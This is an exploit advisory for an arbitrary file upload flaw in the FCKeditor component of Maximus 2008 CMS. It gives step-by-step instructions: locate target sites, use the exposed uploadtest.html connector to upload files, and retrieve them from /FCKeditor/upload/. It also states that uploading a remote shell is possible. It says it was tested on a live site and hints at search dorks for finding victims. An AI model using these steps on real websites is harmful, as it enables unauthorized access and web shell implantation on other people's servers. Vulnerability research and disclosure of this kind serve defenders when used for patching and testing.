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|Exploit Title: maximus-cms (fckeditor) Arbitrary File Upload Vulnerability ||develop: http://www.php-maximus.org ||Version: Maximus 2008 CMS: Web Portal System (v.1.1.2)||Tested On: Live site ||Dork: use your skill and play your imagination :P ||Author: eidelweiss ||contact: eidelweiss[at]windowslive[dot]com ||Home: http://www.eidelweiss.info |||||
\===============================================================================// NOTHING IMPOSSIBLE IN THIS WORLD EVEN NOBODY`s PERFECT \
---------------------------------------------------------------------------------|============================================================================================||Original advisories:||http://eidelweiss-advisories.blogspot.com/2011/01/maximus-cms-fckeditor-arbitrary-file.html ||============================================================================================|
exploit # path/html/FCKeditor/editor/filemanager/connectors/uploadtest.html[!] first find the target host
ex: www.site.com or www.target.com/maximus
then # http://site.com/FCKeditor/editor/filemanager/connectors/uploadtest.html#[!] select # "php" as "File Uploader" to use... and select "file" as Resource Type[!] Upload There Hacked.txt or whatever.txtAnd Copy the Output Link or[!] after upload without any errors your file will be here:/FCKeditor/upload/
ex: http://site.com//FCKeditor/upload/whatever.txt
NB: remote shell upload also possible !!!
Read the config.php filein"/FCKeditor/editor/filemanager/connectors/php/"----------
$Config['Enabled']= true ;//<=// Path to user files relative to the document root.
$Config['UserFilesPath']='/FCKeditor/upload/';----------and also $Config['AllowedExtensions']['File']with a default configuration of this script, an attacker might be able to upload arbitrary
files containing malicious PHP code due to multiple file extensions isn't properly checked
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